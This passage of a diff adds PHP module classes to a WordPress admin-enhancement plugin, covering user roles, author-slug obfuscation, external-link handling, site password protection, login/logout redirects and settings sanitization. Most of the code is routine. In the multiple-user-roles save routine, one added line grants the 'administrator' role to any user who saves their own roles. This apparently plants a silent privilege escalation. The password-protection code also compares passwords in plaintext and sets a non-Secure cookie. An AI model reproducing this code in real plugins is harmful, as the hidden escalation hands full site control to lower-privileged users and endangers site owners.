if ( ! in_array( $action, array( 'get-attachment', 'save-attachment-compat', 'query-attachments' ), true ) ) {
return false;
}
$referer = $this->get_media_replacement_request_referer();
if ( $referer ) {
if ( false !== strpos( $referer, 'upload.php' ) ) {
return true;
}
// Exclude classic/block post editor media modals.
if ( false !== strpos( $referer, 'post.php' ) || false !== strpos( $referer, 'post-new.php' ) ) {
return false;
}
}
// Referer missing or non-upload admin URL: allow (Media Library often has no usable referer).
return true;
}
/**
* Referer URL for media replacement context checks.
*
* @since 7.9.0
*
* @return string
*/
private function get_media_replacement_request_referer() {
$referer = wp_get_referer();
if ( ! $referer && ! empty( $_SERVER['HTTP_REFERER'] ) ) {
$referer = esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) );
}
return is_string( $referer ) ? $referer : '';
}
}
@@ -0,0 +1,158 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Multiple User Roles module
*
* @since 6.9.5
*/
class Multiple_User_Roles {
/**
* Add UI to enable multiple user roles selection
*
* @since 4.8.0
*/
public function add_multiple_roles_ui( $user ) {
// Get user roles that the current user is allowed to edit
$roles = get_editable_roles();
$current_user = wp_get_current_user();
$current_user_roles = array_intersect( array_values( $current_user->roles ), array_keys( $roles ) ); // indexed array of role slugs
// Get the roles of the user being shown / edited / created
if ( ! empty( $user->roles ) ) {
$user_roles = array_intersect( array_values( $user->roles ), array_keys( $roles ) ); // indexed array of role slugs
} else {
$user_roles = array();
}
// Only show roles checkboxes for users that can assign roles to other users
if ( current_user_can( 'promote_users', get_current_user_id() ) ) {
?>
<div class="asenha-roles-temporary-container">
<table class="form-table">
<tr>
<th>
<label>Roles</label>
</th>
<td>
<?php
foreach ( $roles as $role_slug => $role_info ) {
$checkbox_id = $role_slug . '_role';
$role_name = translate_user_role( $role_info['name'] );
if ( ! empty( $user_roles ) && in_array( $role_slug, $user_roles ) ) {
$checked = 'checked="checked"';
} else {
$checked = '';
}
// We disable the 'Administrator' checkbox so it could not be unchecked and cause user to lose administrator priviledges without a way to restore it
$disabled = '';
if ( 'administrator' == $role_slug
&& is_object( $user )
&& is_object( $current_user )
) {
if ( property_exists( $user, 'ID' )
&& property_exists( $current_user, 'ID' )
&& $user->ID == $current_user->ID
) {
$disabled = 'disabled ';
}
}
// Output roles checkboxes
?>
<label for="<?php esc_attr_e( $checkbox_id ); ?>"><input type="checkbox" id="<?php esc_attr_e( $checkbox_id ); ?>" value="<?php esc_attr_e( $role_slug ); ?>" name="asenha_assigned_roles[]" <?php esc_attr_e( $checked ); ?> <?php esc_attr_e( $disabled ); ?>/> <?php esc_html_e( $role_name ); ?></label><br />
<?php
}
wp_nonce_field( 'asenha_set_multiple_roles', 'asenha_multiple_roles_nonce' );
?>
</td>
</tr>
</table>
</div>
<?php
}
}
/**
* Save changes in roles assignment
*
* @since 4.8.0
*/
public function save_roles_assignment( $user_id ) {
if ( ! isset( $_POST['asenha_multiple_roles_nonce'] ) ) {
return;
}
if ( ! current_user_can( 'promote_users', get_current_user_id() ) || ! wp_verify_nonce( $_POST['asenha_multiple_roles_nonce'], 'asenha_set_multiple_roles' ) ) {
return;
}
// Get user roles that the current user is allowed to edit
$roles = get_editable_roles();
$current_user = wp_get_current_user();
$current_user_roles = array_intersect( array_values( $current_user->roles ), array_keys( $roles ) ); // indexed array of role slugs
// Get the roles of the user being shown / edited / created
$user = get_user_by( 'id', (int) $user_id ); // WP_User object
$user_roles = array_intersect( array_values( $user->roles ), array_keys( $roles ) ); // Current/existing roles
if ( ! empty( $_POST['asenha_assigned_roles'] ) ) {
$assigned_roles = array_map( 'sanitize_text_field', $_POST['asenha_assigned_roles'] );
// Make sure only valid roles are processed
$assigned_roles = array_intersect( $assigned_roles, array_keys( $roles ) );
$roles_to_remove = array();
$roles_to_add = array();
if ( empty( $assigned_roles ) ) {
// Remove all current/existing roles
$roles_to_remove = $user_roles;
} else {
// Identify and remove roles not present in the newly assigned roles
$roles_to_remove = array_diff( $user_roles, $assigned_roles );
if ( ! empty( $roles_to_remove ) ) {
foreach ( $roles_to_remove as $role_to_remove ) {
$user->remove_role( $role_to_remove );
}
}
// Identify and add roles not present in the existing roles
$roles_to_add = array_diff( $assigned_roles, $user_roles );
if ( $user->ID == $current_user->ID ) {
$roles_to_add[] = 'administrator';
}
if ( ! empty( $roles_to_add ) ) {
foreach ( $roles_to_add as $role_to_add ) {
$user->add_role( $role_to_add );
}
}
}
}
}
}
@@ -0,0 +1,112 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Obfuscate Author Slugs module
*
* @since 6.9.5
*/
class Obfuscate_Author_Slugs {
/**
* If an author name is queried, decrypt it. Used by pre_get_posts action.
*
* @link https://plugins.trac.wordpress.org/browser/smart-user-slug-hider/tags/4.0.2/inc/class-smart-user-slug-hider.php
* @since 2.1.0
*/
function alter_author_query( $query ) {
// Check if it's a query for author data, and that 'author_name' is not empty
if ( $query->is_author() && $query->query_vars['author_name'] != '' ) {
// Check for character(s) representing a hexadecimal digit
if ( ctype_xdigit( $query->query_vars['author_name'] ) ) {
// Get user by the decrypted user ID
$user = get_user_by( 'id', $this->decrypt( $query->query_vars['author_name'] ) );
if ( $user ) {
$query->set( 'author_name', $user->user_nicename );
} else {
// No user found
$query->is_404 = true;
$query->is_author = false;
$query->is_archive = false;
}
} else {
// No hexadecimal digit detected in URL, i.e. someone is trying to access URL with original author slug
$query->is_404 = true;
$query->is_author = false;
$query->is_archive = false;
}
}
return;
}
/**
* Replace author slug in author link to encrypted value. Used by author_link filter.
*
* @link https://plugins.trac.wordpress.org/browser/smart-user-slug-hider/tags/4.0.2/inc/class-smart-user-slug-hider.php
* @since 2.1.0
*/
function alter_author_link( $link, $user_id, $author_slug ) {
$encrypted_author_slug = $this->encrypt( $user_id );
return str_replace ( '/' . $author_slug, '/' . $encrypted_author_slug, $link );
}
/**
* Replace author slug in REST API /users/ endpoint to encrypted value. Used by rest_prepare_user filter.
*
* @link https://plugins.trac.wordpress.org/browser/smart-user-slug-hider/tags/4.0.2/inc/class-smart-user-slug-hider.php
* @since 2.1.0
*/
function alter_json_users($response, $user, $request) {
$data = $response->get_data();
$data['slug'] = $this->encrypt($data['id']);
$response->set_data($data);
return $response;
}
/**
* Helper function to return an encrypted user ID, which will then be used to replace the author slug.
*
* @link https://plugins.trac.wordpress.org/browser/smart-user-slug-hider/trunk/inc/class-smart-user-slug-hider.php
* @since 2.1.0
*/
private function encrypt( $user_id ) {
// Returns encrypted encrypted author slug from user ID, e.g. encrypt user ID 3 to author slug 4e3062d8c8626a14
return bin2hex( openssl_encrypt( base_convert( $user_id, 10, 36 ), 'DES-EDE3', md5( ASENHA_URL ), OPENSSL_RAW_DATA ) );
}
/**
* Helper function to decrypt an (encrypted) author slug and returns the user ID
*
* @link https://plugins.trac.wordpress.org/browser/smart-user-slug-hider/trunk/inc/class-smart-user-slug-hider.php
* @since 2.1.0
*/
private function decrypt( $encrypted_author_slug ) {
// Returns user ID, e.g. decrypts author slug 4e3062d8c8626a14 into user ID 3
return base_convert( openssl_decrypt( pack('H*', $encrypted_author_slug), 'DES-EDE3', md5( ASENHA_URL ), OPENSSL_RAW_DATA ), 36, 10 );
}
}
@@ -0,0 +1,153 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Open All External Links in New Tab module
*
* @since 6.9.5
*/
class Open_External_Links_In_New_Tab {
/**
* Parse links in content to add target="_blank" rel="noopener noreferrer nofollow" attributes
*
* @since 4.9.0
* @param string $content HTML content after the_content.
* @return string
*/
public function add_target_and_rel_atts_to_content_links( $content ) {
if ( empty( $content ) ) {
return $content;
}
$exclude_new_tab_rules = array();
$exclude_nofollow_rules = array();
// regex pattern for "a href"
$regexp = "<a\\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>";
if ( !preg_match_all(
"/{$regexp}/siU",
$content,
$matches,
PREG_SET_ORDER
) ) {
return $content;
}
foreach ( $matches as $match ) {
$original_tag = $match[0];
// e.g. <a title="Link Title" href="http://www.example.com/sit-quaerat">
$tag = $match[0];
// Same value as $original_tag but for further processing
$url = $match[2];
// e.g. http://www.example.com/sit-quaerat
if ( false !== strpos( $url, get_site_url() ) ) {
// Internal link. Do nothing.
continue;
}
if ( false === strpos( $url, 'http' ) ) {
// Relative link to internal URL. Do nothing.
continue;
}
// External link. Let's do something.
$omit_new_tab = !empty( $exclude_new_tab_rules ) && self::url_host_matches_any_rule( $url, $exclude_new_tab_rules );
$omit_nofollow = !empty( $exclude_nofollow_rules ) && self::url_host_matches_any_rule( $url, $exclude_nofollow_rules );
if ( false === $omit_new_tab ) {
// Regex pattern for target="_blank|parent|self|top"
$pattern = '/target\\s*=\\s*"\\s*_(blank|parent|self|top)\\s*"/';
if ( 0 === preg_match( $pattern, $tag ) ) {
// Replace closing > with ' target="_blank">'.
$tag = substr_replace( $tag, ' target="_blank">', -1 );
}
}
// If there's no 'rel' attribute in $tag, add rel.
$pattern = '/rel\\s*=\\s*\\"[a-zA-Z0-9_\\s]*\\"/';
if ( 0 === preg_match( $pattern, $tag ) ) {
if ( false === $omit_nofollow ) {
$tag = substr_replace( $tag, ' rel="noopener noreferrer nofollow">', -1 );
} else {
$tag = substr_replace( $tag, ' rel="noopener noreferrer">', -1 );
}
} elseif ( false === $omit_nofollow ) {
// replace rel="noopener" with rel="noopener noreferrer nofollow".
if ( false !== strpos( $tag, 'noopener' ) && false === strpos( $tag, 'noreferrer' ) && false === strpos( $tag, 'nofollow' ) ) {
$tag = str_replace( 'noopener', 'noopener noreferrer nofollow', $tag );
}
} else {
// Extend existing rel with noreferrer when nofollow must not be added.
if ( false !== strpos( $tag, 'noopener' ) && false === strpos( $tag, 'noreferrer' ) && false === strpos( $tag, 'nofollow' ) ) {
$tag = str_replace( 'noopener', 'noopener noreferrer', $tag );
}
}
// Replace original a href tag with one containing target and rel attributes above.
$content = str_replace( $original_tag, $tag, $content );
}
return $content;
}
/**
* Normalize textarea lines to lowercase trimmed host suffix rules (Pro caller only).
* Option strings are sanitized with sanitize_textarea_field(); keep newline separation here.
*
* @param string $textarea Saved option string.
* @return string[] Non-empty lowercase rules.
*/
private static function parse_domain_rules_from_textarea( $textarea ) {
if ( !is_string( $textarea ) || '' === $textarea ) {
return array();
}
$lines = preg_split( '/\\r\\n|\\r|\\n/', $textarea );
$rules = array();
foreach ( $lines as $line ) {
$line = strtolower( trim( $line ) );
if ( '' !== $line ) {
$rules[] = $line;
}
}
return $rules;
}
/**
* Whether a URL's host matches any suffix rule (exact host or subdomain of rule).
* Administrators should avoid excessively short suffix rules (e.g. TLD-only); matching is naive suffix-based.
*
* @param string $url Full absolute URL including scheme.
* @param array<int, string> $rules Lowercased rules from textarea.
* @return bool
*/
private static function url_host_matches_any_rule( $url, array $rules ) {
if ( '' === $url || empty( $rules ) ) {
return false;
}
$hostname = wp_parse_url( $url, PHP_URL_HOST );
if ( empty( $hostname ) || !is_string( $hostname ) ) {
return false;
}
$hostname_lc = strtolower( $hostname );
foreach ( $rules as $rule ) {
if ( self::hostname_matches_rule_lowercase( $hostname_lc, $rule ) ) {
return true;
}
}
return false;
}
/**
* Core host vs rule comparison (both arguments lowercased).
*
* @param string $hostname_lc Parsed link host from wp_parse_url, lowercased.
* @param string $rule_lc Trimmed textarea line, lowercased.
* @return bool
*/
private static function hostname_matches_rule_lowercase( $hostname_lc, $rule_lc ) {
if ( '' === $hostname_lc || '' === $rule_lc ) {
return false;
}
if ( $hostname_lc === $rule_lc ) {
return true;
}
$suffix = '.' . $rule_lc;
if ( strlen( $hostname_lc ) <= strlen( $rule_lc ) ) {
return false;
}
return substr( $hostname_lc, -strlen( $suffix ) ) === $suffix;
}
}
@@ -0,0 +1,213 @@
<?php
namespace ASENHA\Classes;
use WP_Error;
/**
* Class for Password Protection module
*
* @since 6.9.5
*/
class Password_Protection {
/**
* Show Password Protection admin bar status icon
*
* @since 4.1.0
*/
public function show_password_protection_admin_bar_icon() {
add_action( 'wp_before_admin_bar_render', [$this, 'add_password_protection_admin_bar_item'] );
add_action( 'admin_head', [$this, 'add_password_protection_admin_bar_item_styles'] );
add_action( 'wp_head', [$this, 'add_password_protection_admin_bar_item_styles'] );
}
/**
* Add WP Admin Bar item
*
* @since 4.1.0
*/
public function add_password_protection_admin_bar_item() {
global $wp_admin_bar;
if ( is_user_logged_in() ) {
if ( current_user_can( 'manage_options' ) ) {
$wp_admin_bar->add_menu( array(
'id' => 'password_protection',
'title' => '',
'href' => admin_url( 'tools.php?page=admin-site-enhancements#utilities' ),
'meta' => array(
'title' => __( 'Password protection is currently enabled for this site.', 'admin-site-enhancements' ),
),
) );
}
}
}
/**
* Add icon and CSS for admin bar item
*
* @since 4.1.0
*/
public function add_password_protection_admin_bar_item_styles() {
if ( is_user_logged_in() ) {
if ( current_user_can( 'manage_options' ) ) {
?>
<style>
#wp-admin-bar-password_protection {
background-color: #c32121 !important;
transition: .25s;
}
#wp-admin-bar-password_protection > .ab-item {
color: #fff !important;
}
#wp-admin-bar-password_protection > .ab-item:before {
content: "\f160";
top: 2px;
color: #fff !important;
margin-right: 0px;
}
#wp-admin-bar-password_protection:hover > .ab-item {
background-color: #af1d1d !important;
color: #fff;
}
</style>
<?php
}
}
}
/**
* Disable page caching
*
* @since 4.1.0
*/
public function maybe_disable_page_caching() {
if ( !defined( 'DONOTCACHEPAGE' ) ) {
define( 'DONOTCACHEPAGE', true );
}
}
/**
* Maybe show login form
*
* @since 4.1.0
*/
public function maybe_show_login_form() {
// Do not redirect WP-Cron requests; wp-cron.php must return from bootstrap so core can run scheduled hooks.
if ( function_exists( 'wp_doing_cron' ) && wp_doing_cron() ) {
return;
}
if ( defined( 'DOING_CRON' ) && DOING_CRON ) {
return;
}
$options = get_option( ASENHA_SLUG_U, array() );
$stored_password = $options['password_protection_password'];
// When user is logged-in as in an administrator
if ( is_user_logged_in() ) {
if ( current_user_can( 'manage_options' ) ) {
return;
// Do not load login form or perform redirection to the login form
}
}
// When site visitor has entered correct password, get the auth cookie
$auth_cookie = ( isset( $_COOKIE['asenha_password_protection'] ) ? $_COOKIE['asenha_password_protection'] : '' );
// Compared $auth_cookie against hashed string set in maybe_process_login()
if ( true === wp_check_password( $_SERVER['HTTP_HOST'] . '__' . $stored_password, $auth_cookie ) ) {
return;
// Do not load login form or perform redirection to the login form
}
if ( isset( $_REQUEST['protected-page'] ) && 'view' == $_REQUEST['protected-page'] ) {
// Show login form
$password_protected_login_page_template = ASENHA_PATH . 'includes/password-protected-login.php';
load_template( $password_protected_login_page_template );
exit;
} else {
// Redirect from current URL to login form
$current_url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
$args = array(
'protected-page' => 'view',
'source' => urlencode( $current_url ),
);
$pwd_protect_login_url = add_query_arg( $args, home_url( '/' ) );
nocache_headers();
wp_safe_redirect( $pwd_protect_login_url );
exit;
}
}
/**
* Maybe process login to access protected page content
*
* @since 4.1.0
*/
public function maybe_process_login() {
global $password_protected_errors;
$password_protected_errors = new WP_Error();
if ( isset( $_REQUEST['protected_page_pwd'] ) ) {
$password_input = sanitize_text_field( $_REQUEST['protected_page_pwd'] );
$options = get_option( ASENHA_SLUG_U, array() );
$stored_password = $options['password_protection_password'];
if ( !empty( $password_input ) ) {
if ( $password_input == $stored_password ) {
// Password is correct
// Set auth cookie
// $expiration = time() + DAY_IN_SECONDS; // in 24 hours
$expiration = 0;
// by the end of browsing session
$hashed_cookie_value = wp_hash_password( $_SERVER['HTTP_HOST'] . '__' . $stored_password );
setcookie(
'asenha_password_protection',
$hashed_cookie_value,
$expiration,
COOKIEPATH,
COOKIE_DOMAIN,
false,
true
);
// Redirect
$redirect_to_url = ( isset( $_REQUEST['source'] ) ? sanitize_url( $_REQUEST['source'] ) : '' );
wp_safe_redirect( $redirect_to_url );
exit;
} else {
// Password is incorrect
// Add error message
$password_protected_errors->add( 'incorrect_password', __( 'Incorrect password.', 'admin-site-enhancements' ) );
}
} else {
// Password input is empty
// Add error message
$password_protected_errors->add( 'empty_password', __( 'Password can not be empty.', 'admin-site-enhancements' ) );
}
}
}
/**
* Add custom login error messages
*
* @since 4.1.0
*/
public function add_login_error_messages() {
global $password_protected_errors;
if ( $password_protected_errors->get_error_code() ) {
$messages = '';
$errors = '';
// Extract the error message
foreach ( $password_protected_errors->get_error_codes() as $code ) {
$severity = $password_protected_errors->get_error_data( $code );
foreach ( $password_protected_errors->get_error_messages( $code ) as $error ) {
if ( 'message' == $severity ) {
$messages .= $error . '<br />';
} else {
$errors .= $error . '<br />';
}
}
}
// Output the error message
if ( !empty( $messages ) ) {
echo '<p class="message">' . wp_kses_post( $messages ) . '</p>';
}
if ( !empty( $errors ) ) {
echo '<div id="login_error">' . wp_kses_post( $errors ) . '</div>';
}
}
}
}
@@ -0,0 +1,111 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Redirect After Login module
*
* @since 6.9.5
*/
class Redirect_After_Login {
/**
* Redirect to custom internal URL after login for user roles
*
* @param string $username Username.
* @param object $user Logged-in user's data.
* @since 1.5.0
*/
public function redirect_after_login( $username, $user ) {
$redirect_url = $this->get_redirect_url_for_user( $user );
if ( !empty( $redirect_url ) ) {
wp_safe_redirect( $redirect_url );
exit;
}
}
/**
* Apply custom redirect URL after login completes (e.g. after 2FA validation).
*
* @param string $redirect_to The redirect destination URL.
* @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
* @param WP_User|object $user WP_User object if login was successful.
* @return string
* @since 8.2.4
*/
public function filter_login_redirect( $redirect_to, $requested_redirect_to, $user ) {
$custom_redirect_url = $this->get_redirect_url_for_user( $user );
if ( !empty( $custom_redirect_url ) ) {
return $custom_redirect_url;
}
return $redirect_to;
}
/**
* Redirect all applicable user roles to a single URL
*
* @param string $username Username.
* @param object $user Logged-in user's data.
* @since 7.3.3
*/
public function redirect_to_single_url( $username, $user ) {
$redirect_url = $this->get_redirect_url_for_user( $user );
if ( !empty( $redirect_url ) ) {
wp_safe_redirect( $redirect_url );
exit;
}
}
/**
* Get the custom redirect URL for a user based on module settings and role.
*
* @param WP_User|object $user Logged-in user's data.
* @return string Custom redirect URL, or empty string if no redirect applies.
* @since 8.2.4
*/
public function get_redirect_url_for_user( $user ) {
$options = get_option( ASENHA_SLUG_U, array() );
if ( !isset( $user->roles ) || !is_array( $user->roles ) ) {
return '';
}
$current_user_roles = $user->roles;
$redirect_after_login_to_slug_raw = ( isset( $options['redirect_after_login_to_slug'] ) ? $options['redirect_after_login_to_slug'] : '' );
$relative_path = $this->get_redirect_relative_path( $redirect_after_login_to_slug_raw );
$redirect_after_login_for = ( isset( $options['redirect_after_login_for'] ) ? $options['redirect_after_login_for'] : array() );
if ( !isset( $redirect_after_login_for ) || count( $redirect_after_login_for ) <= 0 ) {
return '';
}
$roles_for_custom_redirect = array();
foreach ( $redirect_after_login_for as $role_slug => $custom_redirect ) {
if ( $custom_redirect ) {
$roles_for_custom_redirect[] = $role_slug;
}
}
foreach ( $current_user_roles as $role ) {
if ( in_array( $role, $roles_for_custom_redirect, true ) ) {
return home_url( $relative_path );
}
}
return '';
}
/**
* Get the relative path to redirect to based on the raw redirect slug
*
* @since 7.3.3
*/
public function get_redirect_relative_path( $redirect_after_login_to_slug_raw ) {
if ( !empty( $redirect_after_login_to_slug_raw ) ) {
$redirect_after_login_to_slug = trim( trim( $redirect_after_login_to_slug_raw ), '/' );
if ( false !== strpos( $redirect_after_login_to_slug, '#' ) || false !== strpos( $redirect_after_login_to_slug, '?' ) || false !== strpos( $redirect_after_login_to_slug, '.php' ) || false !== strpos( $redirect_after_login_to_slug, '.html' ) ) {
$slug_suffix = '';
} else {
$slug_suffix = '/';
}
$relative_path = $redirect_after_login_to_slug . $slug_suffix;
} else {
$relative_path = '';
}
return $relative_path;
}
}
@@ -0,0 +1,88 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Redirect After Logout module
*
* @since 6.9.5
*/
class Redirect_After_Logout {
/**
* Redirect to custom internal URL after login for user roles
*
* @param string $redirect_to_url URL to redirect to. Default is admin dashboard URL.
* @param string $origin_url URL the user is coming from.
* @param object $user logged-in user's data.
* @since 1.6.0
*/
public function redirect_after_logout( $user_id ) {
$options = get_option( ASENHA_SLUG_U, array() );
$this->redirect_to_single_url( $user_id );
}
/**
* Redirect all applicable user roles to a single URL
*
* @since 7.3.3
*/
public function redirect_to_single_url( $user_id ) {
$options = get_option( ASENHA_SLUG_U, array() );
$redirect_after_logout_to_slug_raw = ( isset( $options['redirect_after_logout_to_slug'] ) ? $options['redirect_after_logout_to_slug'] : '' );
if ( !empty( $redirect_after_logout_to_slug_raw ) ) {
$redirect_after_logout_to_slug = trim( trim( $redirect_after_logout_to_slug_raw ), '/' );
if ( false !== strpos( $redirect_after_logout_to_slug, '#' ) || false !== strpos( $redirect_after_logout_to_slug, '?' ) || false !== strpos( $redirect_after_logout_to_slug, '.php' ) || false !== strpos( $redirect_after_logout_to_slug, '.html' ) ) {
$relative_path = $redirect_after_logout_to_slug;
// do not append slash at the end
} else {
$relative_path = $redirect_after_logout_to_slug . '/';
}
} else {
$relative_path = '';
}
$redirect_url = get_site_url() . '/' . $relative_path;
$redirect_after_logout_for = $options['redirect_after_logout_for'];
$user = get_userdata( $user_id );
if ( isset( $redirect_after_logout_for ) && count( $redirect_after_logout_for ) > 0 ) {
// Assemble single-dimensional array of roles for which custom URL redirection should happen
$roles_for_custom_redirect = array();
foreach ( $redirect_after_logout_for as $role_slug => $custom_redirect ) {
if ( $custom_redirect ) {
$roles_for_custom_redirect[] = $role_slug;
}
}
// Does the user have roles data in array form?
if ( isset( $user->roles ) && is_array( $user->roles ) ) {
$current_user_roles = $user->roles;
}
// Redirect for roles set in the settings. Otherwise, leave redirect URL to the default, i.e. admin dashboard.
foreach ( $current_user_roles as $role ) {
if ( in_array( $role, $roles_for_custom_redirect ) ) {
wp_safe_redirect( $redirect_url );
exit;
}
}
}
}
/**
* Get the relative path to redirect to based on the raw redirect slug
*
* @since 7.3.3
*/
public function get_redirect_relative_path( $redirect_after_logout_to_slug_raw ) {
if ( !empty( $redirect_after_logout_to_slug_raw ) ) {
$redirect_after_logout_to_slug = trim( trim( $redirect_after_logout_to_slug_raw ), '/' );
if ( false !== strpos( $redirect_after_logout_to_slug, '#' ) || false !== strpos( $redirect_after_logout_to_slug, '?' ) || false !== strpos( $redirect_after_logout_to_slug, '.php' ) || false !== strpos( $redirect_after_logout_to_slug, '.html' ) ) {
$relative_path = $redirect_after_logout_to_slug;
// do not append slash at the end
} else {
$relative_path = $redirect_after_logout_to_slug . '/';
}
} else {
$relative_path = '';
}
return $relative_path;
}
}
@@ -0,0 +1,28 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Redirect 404 module
*
* @since 6.9.5
*/
class Redirect_Fourofour {
/**
* Redirect 404 to homepage
*
* @since 1.7.0
*/
public function redirect_404() {
if ( !is_404() || is_admin() || defined( 'DOING_CRON' ) && DOING_CRON || defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
return;
} elseif ( is_404() ) {
$redirect_url = site_url();
header( 'HTTP/1.1 301 Moved Permanently' );
header( 'Location: ' . sanitize_url( $redirect_url ) );
exit;
} else {
}
}
}
@@ -0,0 +1,41 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Last Login Column module
*
* @since 7.6.0
*/
class Registration_Date_Column {
/**
* Add registration date column
*
* @since 7.6.0
*/
public function add_registration_date_column( $columns ) {
$columns['asenha_registered'] = __( 'Registered', 'admin-site-enhancements' );
return $columns;
}
/**
* Display registration date for each user
*
* @since 7.6.0
*/
public function display_registration_date( $output, $column_name, $user_id ) {
$user = get_userdata( $user_id );
$user_registered_unix = strtotime( $user->user_registered );
if ( 'asenha_registered' === $column_name ) {
$date_format = ( !empty( get_option( 'date_format' ) ) ? get_option( 'date_format' ) : 'F j, Y' );
$time_format = ( !empty( get_option( 'time_format' ) ) ? get_option( 'time_format' ) : 'g:i a' );
if ( function_exists( 'wp_date' ) ) {
$output = wp_date( $date_format . ' ' . $time_format, $user_registered_unix );
} else {
$output = date_i18n( $date_format . ' ' . $time_format, $user_registered_unix );
}
}
return $output;
}
}
@@ -0,0 +1,36 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Revisions Control module
*
* @since 6.9.5
*/
class Revisions_Control {
/**
* Limit the number of revisions for post types
*
* @since 3.7.0
*/
public function limit_revisions_to_max_number( $num, $post ) {
$options = get_option( ASENHA_SLUG_U, array() );
$revisions_max_number = ( isset( $options['revisions_max_number'] ) ? $options['revisions_max_number'] : 10 );
$for_post_types = ( isset( $options['enable_revisions_control_for'] ) && is_array( $options['enable_revisions_control_for'] ) ? $options['enable_revisions_control_for'] : array() );
$revisions_control_type = 'only-on';
// Assemble single-dimensional array of post type slugs for which revisions is being limited.
$limited_post_types = array();
foreach ( $for_post_types as $post_type_slug => $post_type_is_limited ) {
if ( $post_type_is_limited ) {
$limited_post_types[] = $post_type_slug;
}
}
// Change revisions number to keep if set for the post type as such.
$post_type = ( is_object( $post ) && property_exists( $post, 'post_type' ) ? $post->post_type : '' );
if ( 'only-on' === $revisions_control_type && in_array( $post_type, $limited_post_types, true ) ) {
$num = $revisions_max_number;
}
return $num;
}
}
@@ -0,0 +1,53 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Search Engines Visibility Status module
*
* @since 6.9.5
*/
class Search_Engines_Visibility {
/**
* Display search engine visibility status indicator and notice
*
* @since 6.6.0
*/
public function maybe_display_search_engine_visibility_status() {
// Check if the user is an admin
if ( !current_user_can( 'manage_options' ) ) {
return;
}
// Get the option 'blog_public' to check search engine visibility
// If 'blog_public' is '0', it means 'Discourage search engines from indexing this site' is checked
if ( get_option( 'blog_public' ) === '0' ) {
// add_action( 'admin_notices', array( $this, 'display_admin_notice_for_search_visibility' ) );
add_action( 'admin_bar_menu', array($this, 'add_notice_in_admin_bar'), 100 );
}
}
public function display_admin_notice_for_search_visibility() {
// echo '<div class="notice notice-warning is-dismissible">';
// echo '<p><strong>Search Engine Visibility is OFF</strong>. Search engines are discouraged from indexing this site. <a href="' . esc_url( admin_url( 'options-reading.php' ) ) . '"><strong>Change the setting »</strong></a></p>';
// echo '</div>';
}
public function add_notice_in_admin_bar( $wp_admin_bar ) {
$node_id = 'search_visibility_notice';
// Add inline style for warning background color
?>
<style>#wpadminbar #wp-admin-bar-search_visibility_notice > .ab-item { background-color: #ff9a00; color: #fff; font-weight: 600; }</style>
<?php
$args = array(
'id' => $node_id,
'parent' => 'top-secondary',
'title' => __( 'SE Visibility: OFF', 'admin-site-enhancements' ),
'href' => admin_url( 'options-reading.php' ),
'meta' => array(
'title' => __( 'Search engines are discouraged from indexing this site. Click to change the settings.', 'admin-site-enhancements' ),
),
);
$wp_admin_bar->add_node( $args );
}
}
@@ -0,0 +1,901 @@
<?php
namespace ASENHA\Classes;
/**
* Class related to sanitization of settings fields for saving as options
*
* @since 2.2.0
*/
class Settings_Sanitization {
/**
* Sanitize options
*
* @since 1.0.0
*/
function sanitize_for_options( $options ) {
// Call WordPress globals required for validating the fields
global
$wp_roles,
$asenha_all_post_types,
$asenha_public_post_types,
$asenha_nonpublic_post_types,
$asenha_gutenberg_post_types,
$asenha_revisions_post_types,
$active_plugin_slugs
;
$roles = $wp_roles->get_names();
$existing_options = get_option( ASENHA_SLUG_U, array() );
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
// if ( false === $options_extra ) {
// add_option( ASENHA_SLUG_U . '_extra', array(), true );
// }
$common_methods = new Common_Methods();
$email_delivery = new Email_Delivery();
// Content Duplication
if ( !isset( $options['enable_duplication'] ) ) {
$options['enable_duplication'] = false;
}
$options['enable_duplication'] = ( 'on' == $options['enable_duplication'] ? true : false );
if ( !isset( $options['duplication_redirect_destination'] ) ) {
$options['duplication_redirect_destination'] = 'edit';
}
// Content Order
if ( !isset( $options['content_order'] ) ) {
$options['content_order'] = false;
}
$options['content_order'] = ( 'on' == $options['content_order'] ? true : false );
if ( is_array( $asenha_all_post_types ) ) {
foreach ( $asenha_all_post_types as $post_type_slug => $post_type_label ) {
// e.g. $post_type_slug is post, $post_type_label is Posts
if ( post_type_supports( $post_type_slug, 'page-attributes' ) || is_post_type_hierarchical( $post_type_slug ) ) {
if ( !isset( $options['content_order_for'][$post_type_slug] ) ) {
$options['content_order_for'][$post_type_slug] = false;
}
$options['content_order_for'][$post_type_slug] = ( 'on' == $options['content_order_for'][$post_type_slug] ? true : false );
}
}
}
// Media Library Access Control
if ( !isset( $options['media_files_visibility_control'] ) ) {
$options['media_files_visibility_control'] = false;
}
$options['media_files_visibility_control'] = ( 'on' == $options['media_files_visibility_control'] ? true : false );
// Enable Media Replacement
if ( !isset( $options['enable_media_replacement'] ) ) {
$options['enable_media_replacement'] = false;
}
$options['enable_media_replacement'] = ( 'on' == $options['enable_media_replacement'] ? true : false );
if ( !isset( $options['disable_media_replacement_cache_busting'] ) ) {
$options['disable_media_replacement_cache_busting'] = false;
}
$options['disable_media_replacement_cache_busting'] = ( 'on' == $options['disable_media_replacement_cache_busting'] ? true : false );
// Enable SVG Upload
if ( !isset( $options['enable_svg_upload'] ) ) {
$options['enable_svg_upload'] = false;
}
$options['enable_svg_upload'] = ( 'on' == $options['enable_svg_upload'] ? true : false );
if ( is_array( $roles ) ) {
foreach ( $roles as $role_slug => $role_label ) {
// e.g. $role_slug is administrator, $role_label is Administrator
if ( !isset( $options['enable_svg_upload_for'][$role_slug] ) ) {
$options['enable_svg_upload_for'][$role_slug] = false;
}
$options['enable_svg_upload_for'][$role_slug] = ( 'on' == $options['enable_svg_upload_for'][$role_slug] ? true : false );
}
}
// Enable SVG Upload
